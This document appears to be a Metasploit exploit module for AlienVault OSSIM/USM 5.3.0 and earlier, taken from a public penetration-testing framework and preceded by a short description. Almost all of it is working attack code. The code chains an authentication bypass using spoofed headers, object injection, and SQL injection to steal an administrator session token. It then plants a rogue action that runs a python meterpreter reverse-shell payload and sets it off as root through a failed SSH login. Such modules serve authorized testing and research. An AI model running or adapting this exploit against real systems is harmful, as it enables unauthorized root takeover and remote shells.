This Metasploit module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together. Unauthenticated users can execute arbitrary commands under the context of the root user. By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue action and policy that enables to execute operating system commands by using captured session token. As a final step, SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes operating system command with root user privileges. This Metasploit module was tested against following product and versions: AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0 AlienVault OSSIM 5.0.0, 4.6.1
c403c0d00272c2fb94d0906435878b17##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
'Description' => %q{
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
Unauthenticated users can execute arbitrary commands under the context of the root user.
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
action and policy that enables to execute operating system commands by using captured session token. As a final step,
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
operating system command with root user privileges.
This module was tested against following product and versions:
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
AlienVault OSSIM 5.0.0, 4.6.1
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Lapp', # EDB advisory owner
'Mehmet Ince <[email protected]>' # Metasploit module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
['EDB', '40682']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 10,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' =>
[
['Alienvault USM/OSSIM <= 5.3.0', {}]
],
'Privileged' => true,
'DisclosureDate' => "Jan 31 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
], self.class)
end
def check
r = rand_text_alpha(15)
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
'headers' => {
'User-Agent' => 'AV Report Scheduler',
},
'vars_get' => {
'type' => 'alarm',
'wtype' => 'foo',
'asset' => 'ALL_ASSETS',
'height' => 1,
'value' => p
}
})
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
print_status("Hijacking administrator session")
sql = "SELECT id FROM sessions LIMIT 1"
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
'headers' => {
'X-Forwarded-For' => rhost.to_s,
'User-Agent' => 'AV Report Scheduler',
},
'vars_get' => {
'type' => 'alarm',
'wtype' => 'foo',
'asset' => 'ALL_ASSETS',
'height' => 1,
'value' => p
}
})
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
admin_session = $1
cookie = "PHPSESSID=#{admin_session}"
print_good("Admin session token : #{cookie}")
else
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
end
# Creating a Action that contains payload.
print_status("Creating rogue action")
r = rand_text_alpha(15)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
'cookie' => cookie,
'headers' => {
'X-Forwarded-For' => rhost.to_s,
},
'vars_post' => {
'id' => '',
'action' => 'new',
'old_name' => '',
'action_name' => r,
'ctx' => '',
'old_descr' => '',
'descr' => r,
'action_type' => '2',
'only' => 'on',
'cond' => 'True',
'email_from' => '',
'email_to' => 'email;email;email',
'email_subject' => '',
'email_message' => '',
'transferred_user' => '',
'transferred_entity' => '',
'exec_command' => "python -c \"#{payload.encoded}\""
}
})
if res && res.code == 200 && res.body.include?("Action successfully updated")
print_good("Action created: #{r}")
else
fail_with(Failure::Unknown, "Unable to create action")
end
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
# Thus we're using hijacked administrator session.
print_status("Retrieving rogue action id")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
'cookie' => cookie,
'headers' => {
'X-Forwarded-For' => rhost.to_s,
},
'vars_get' => {
'page' => '1',
'rp' => '2000'
}
})
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
action_id = $1
print_good("Corresponding Action ID found: #{action_id}")
else
fail_with(Failure::Unknown, "Unable to retrieve action id")
end
# Retrieving the policy data. We will use it while creating policy
print_status("Retrieving policy ctx and group values")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
'cookie' => cookie,
'headers' => {
'X-Forwarded-For' => rhost.to_s,
},
'vars_get' => {
'm_opt' => 'configuration',
'sm_opt' => 'threat_intelligence',
'h_opt' => 'policy'
}
})
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
policy_ctx = $1
policy_group = $2
print_good("CTX Value found: #{policy_ctx}")
print_good("GROUP Value found: #{policy_group}")
else
fail_with(Failure::Unknown, "Unable to retrieve policy data")
end
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
print_status("Creating a policy that uses our rogue action")
policy = rand_text_alpha(15)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
'cookie' => cookie,
'headers' => {
'X-Forwarded-For' => rhost.to_s,
},
'vars_post' => {
'descr' => policy,
'active' => '1',
'group' => policy_group,
'ctx' => policy_ctx,
'order' => '1',
'action' => 'new',
'sources[]' => '00000000000000000000000000000000',
'dests[]' => '00000000000000000000000000000000',
'portsrc[]' => '0',
'portdst[]' => '0',
'plug_type' => '1',
'plugins[0]' => 'on',
'taxfilters[]' =>'25@2@0',
'tax_pt' => '0',
'tax_cat' => '0',
'tax_subc' => '0',
'mboxs[]' => '00000000000000000000000000000000',
'rep_act' => '0',
'rep_sev' => '1',
'rep_rel' => '1',
'rep_dir' => '0',
'ev_sev' => '1',
'ev_rel' => '1',
'tzone' => 'Europe/Istanbul',
'date_type' => '1',
'begin_hour' => '0',
'begin_minute' => '0',
'begin_day_week' => '1',
'begin_day_month' => '1',
'begin_month' => '1',
'end_hour' => '23',
'end_minute' => '59',
'end_day_week' => '7',
'end_day_month' => '31',
'end_month' => '12',
'actions[]' => action_id,
'sim' => '1',
'priority' => '1',
'qualify' => '1',
'correlate' => '0',
'cross_correlate' => '0',
'store' => '0'
}
})
if res && res.code == 200
print_good("Policy created: #{policy}")
else
fail_with(Failure::Unknown, "Unable to create policy id")
end
# We gotta reload all policies in order to make our rogue one enabled.
print_status("Activating the policy")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
'cookie' => cookie,
'headers' => {
'X-Forwarded-For' => rhost.to_s,
},
'vars_get' => {
'what' => 'policies',
'back' => '../policy/policy.php'
}
})
if res && res.code == 200
print_good("Rogue policy activated")
else
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
end
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
factory = ssh_socket_factory
opts = {
auth_methods: ['password'],
port: 22,
use_agent: false,
config: false,
password: rand_text_alpha(15),
proxy: factory,
non_interactive: true
}
print_status("Triggering the policy by performing SSH login attempt")
begin
Net::SSH.start(rhost, "root", opts)
rescue Net::SSH::AuthenticationFailed
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
rescue Net::SSH::Exception => e
print_error("SSH Error: #{e.class} : #{e.message}")
return nil
end
end
end